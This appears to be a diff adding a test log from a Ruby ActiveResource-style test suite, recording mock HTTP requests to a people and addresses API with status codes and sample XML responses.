+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0b 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107b 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0b 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0b 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0b 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147b 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107b 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222b 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107b 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0b 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0b 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0b 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222b 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77b 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208b 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107b 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0b 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0b 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1b 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0b 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0b 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146b 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0b 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0b 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0b 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0b 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78b 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92b 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106b 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146b 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55b 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224b 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28b 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149b 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26b 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26b 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103b 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103b 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16b 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74b 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103b 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (b 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>David</name>
+  <id type="integer">2</id>
+</person>
+b 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (b 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0b 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <age type="integer">25</age>
+  <name>Rick</name>
+</person>
+b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (b 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/3.xml
+--> 404 404 (b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<person>
+  <name>Matz</name>
+  <id type="integer">1</id>
+</person>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<address>
+  <street>12345 Street</street>
+  <id type="integer">1</id>
+</address>
+b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (<?xml version="1.0" encoding="UTF-8"?>
+<people type="array">
+  <person>
+    <name>Matz</name>
+    <id type="integer">1</id>
+  </person>
+  <person>
+    <name>David</name>
+    <id type="integer">2</id>
+  </person>
+</people>
